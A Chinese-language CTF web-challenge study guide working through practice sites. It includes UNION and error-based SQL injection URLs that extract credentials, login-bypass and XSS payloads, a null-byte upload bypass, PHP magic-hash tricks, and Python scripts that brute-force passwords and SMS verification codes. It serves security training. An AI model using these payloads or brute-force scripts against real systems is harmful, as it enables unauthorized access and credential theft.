CTF學習-web題思路
基礎篇
1.直接查看源代碼
2.修改或添加HTTP請求頭
常見的有:
- Referer來源偽造
- X-Forwarded-For:ip偽造
- User-Agent:用戶代理(就是用什么瀏覽器什么的)
- //.net的版本修改,后面添加,如版本9 .NET CLR 9
- Accept-Language:語言
- Cookie的修改
3.查看HTTP請求頭或響應頭
4.302跳轉的中轉網頁有信息
5.查看開發者工具控制台
6.javascript代碼繞過
通過刪除或修改代碼或者本地代理改包繞過
7.使用burp的repeater查看整個HTTP包
8.閱讀javascript代碼,直接控制台獲取正確密碼
9.robots.txt文件獲取信息
這本來是給搜索引擎看的信息,很可能暴露網站結構目錄
10..bash_history,這個應該說看到過吧,就是記錄用戶輸入過的linux命令的
前端腳本類
js加解密
http://ctf5.shiyanbar.com/DUTCTF/1.html //直接在F12控制台粘貼就有了
XSS
http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
這題題目就有漏洞,直接在命令行輸入下面的就有了
$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){ console.log(data); }); showkey();
當然簡單的直接輸入
<script>alert(HackingLab)</script>
這樣也可以
可以直接輸入上題的那個jquery,也可以乖乖下面的
<img src="11" onerror=alert(HackingLab)>
后端腳本類
代碼審計
asp代碼審計:
1.http://ctf8.shiyanbar.com/aspaudit/
長度限制:F12刪maxlength,或者改長度,本地代理都可以繞過
//Username: 'union select 1,1,1 from bdmin ' ,為什么是三列呢,一般表中都會設置id,加上賬號密碼就3個了,不行就猜4列咯...,因為union的之前的用戶名為空,所以前面的結果集為空,所以最后的結果集只有我們后面的1,1,1了,所以在密碼那輸入1就是密碼。
這樣也行,反正就閉合標簽 'union select 1,1,1 from bdmin where '1'='1
php代碼審計
1.http://ctf8.shiyanbar.com/phpaudit/ //其實這個就是修改http請求頭的X-Forwarded-For
2.http://ctf1.shiyanbar.com/web/4/index.php //跟下面的后台登陸型第一個一樣,請看下面的后台登陸型第一個
3.http://ctf5.shiyanbar.com/DUTCTF/index.php //二次urlencode
4.http://ctf1.shiyanbar.com/web/5/index.php //請看后台登陸型第二個
5.http://ctf4.shiyanbar.com/web/false.php //數組的哈希值,都是null
6.http://ctf4.shiyanbar.com/web/Session.php //只需要在第一次提交的時候直接提交password=即可,因為第一次訪問時服務器那邊也沒設置對應的$_SESSION['password'],由於是==比較,兩者是相等的。
表單隱藏 http://ctf10.shiyanbar.com:8888/main.php
sql注入
簡單的直接上工具就ko了,如sqlmap,等-——10大sql注入工具
如下面幾個:
1.http://ctf5.shiyanbar.com:8080/9/asp.asp
2.http://ctf5.shiyanbar.com/8/index.php?id=1
當然不用and XX也是可以的,下面只是舉個例子
//手工注入過程 //判斷注入類型為and布爾型注入 http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1 http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2 //判斷字段數 http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203 http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202 //獲取數據庫基本信息(//concat_ws是字符串連接函數,其中第一個參數是分隔符,CHAR(58)是冒號,因為冒號的ASCII是58) http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version()) //獲取數據庫中的表,其中table_schema可以理解為數據庫吧(他是mysql系統表里面的一個字段,這里我們用16進制表示,就是上一句查詢到的數據庫) http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462 //獲取重要表的字段 http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579 //獲取表中的內容 http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey
3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
密碼隨便輸入
4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
payload:
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1
5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1
寬字節注入,在其他沒頭緒的時候必須考慮這個了,哎,而且題目都說過濾了
還有響應頭:Content-Type:text/html; charset=gb2312
payload
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23
6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
利用報錯注入 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1) 數據庫:mydbs http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1) 爆表 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1) 爆數據
寫點腳本的
注意看響應頭,You must do it as fast as you can!,這個手速是不行的,必須編程獲取后解碼,跟着post數據:key=XXXXXXXXXXXXX
http://ctf4.shiyanbar.com/web/10.php
腳本如下
import requests import base64 url='http://ctf4.shiyanbar.com/web/10.php' req=requests.get(url) print req.text key=req.headers['FLAG'] key=base64.b64decode(key) key=key.split(':')[1].strip() data={'key':key} r=requests.post(url,data=data) print(r.text)
后台登陸型
給了源代碼,主要看sql語句,注釋掉后面的and (pw='$pass'),當注意閉合小括號 payload :user=admin')#&pass=432142
1.http://ctf1.shiyanbar.com/web/4/index.php
2.http://ctf1.shiyanbar.com/web/5/index.php
//這題可以看看asp代碼審計第一題,你或許有思路,后面有答案鼠標刮過即可(鼠標選中冒號后面的空白):user=' union select 'c4ca4238a0b923820dcc509a6f75849b' from php -- &pass=1
那個MD5是密碼1的md5
代碼逆向
http://www.shiyanbar.com/ctf/1760
解密代碼
$cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'; $tmp = base64_decode(strrev(str_rot13($cipher))); echo $tmp; $b = ''; for ($i=0; $i < strlen($tmp); $i++) { $a = substr($tmp, $i, 1); $b = $b.chr(ord($a)-1); } echo strrev($b);
上傳繞過類
http://ctf4.shiyanbar.com/web/upload //這個注意看抓包的數據,既有路徑,又有文件名,文件名不行,就試試路徑的00截斷 /uploads/sdf.php+十六進制的00
multipart/form-data大寫繞過
php的特性
1.數字與字符串比較
var_dump( 0 == "a" ); var_dump( "0" == "a" );
第一個返回的是 true ,第二個返回的是 false
因為php把字母開頭的轉化為整型時,轉化為0, 前面數字后面字母的話就只取到第一個字母出現的位置之前(如intval(''123abd45gf)結果為123)
2.md5“碰撞”
因為php 0e開頭的字符串都是==的,不是===哦
var_dump("0e462097431906854"=="0e83040041");
上面這個返回true,如果題目的md5是0e開頭的,你懂的
下面給一組數據吧
md5('240610708') 的結果是:0e462097431906509019562988736854 md5('QNKCDZO') 的結果是:0e830400451993494058024219903391
240610708、QNKCDZO、aabg7XSs、aabC9RqS
3.md5數組
md5(array) == NULL
4.strcmp(array,string) ==
5.變量覆蓋:register_globals的意思就是注冊為全局變量,所以當On的時候,傳遞過來的值會被直接的注冊為全局變量直接使用,而Off的時候,我們需要到特定的數組里去得到它。PHP4默認開啟,PHP5以后默認關閉。
還有就是extract那個函數,也可以存在變量覆蓋http://www.w3school.com.cn/php/func_array_extract.asp
6.ereg函數漏洞:00截斷
%00
http://www.shiyanbar.com/ctf/1805
備份文件類型的
.bak ultroedit.... ~ .xxxx.php.swp .xxxx.php.swo vim
驗證碼類的
http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
這個驗證碼的特點是,在一次會話中,下一次提交,上一次的驗證碼不會失效 。代碼,具體要改cookie和驗證碼
import requests url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php" req = requests.session() header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"} for pwd in xrange(1000,10000): data={'username':'admin','pwd':pwd,'vcode':'c3pe'} ret = req.post(url, data=data, headers=header) print ret.text if 'error' not in ret.text: print pwd break
http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
程序猿:“該死的黑客,我讓你繞!我驗證一次就讓你的驗證碼失效,看你怎么繞!”
這一關的驗證碼,驗證一次以后就失效了,但是再次提交的時候就不需要再考慮驗證碼是否正確的問題了,所以在腳本中只要保證驗證碼為''的就可以
import requests url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php" req = requests.session() header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"} for pwd in xrange(1000,10000): data={'username':'admin','pwd':pwd,'vcode':''} ret = req.post(url, data=data, headers=header) if 'error' not in ret.text: print ret.text print "good: password is:" + str(pwd) break else: print "try:" + str(pwd) + " and result is :"+ ret.text
http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php 跟上面一樣的腳本
http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
爆破再爆破,點擊驗證碼再運行腳本哦,跟着獲得另一個手機號,再獲取驗證碼,再修改手機號再運行腳本
import requests url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php" req = requests.session() header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"} for vcode in xrange(100,1000): data={'username':'13388886666','vcode':vcode, 'Login':'submit'} # data={'username':'13399999999','vcode':vcode, 'Login':'submit'} ret = req.post(url, data=data, headers=header) if 'error' not in ret.text: print ret.text print "good: vcode is:" + str(vcode) break else: print "try:" + str(vcode) + " and result is :"+ ret.text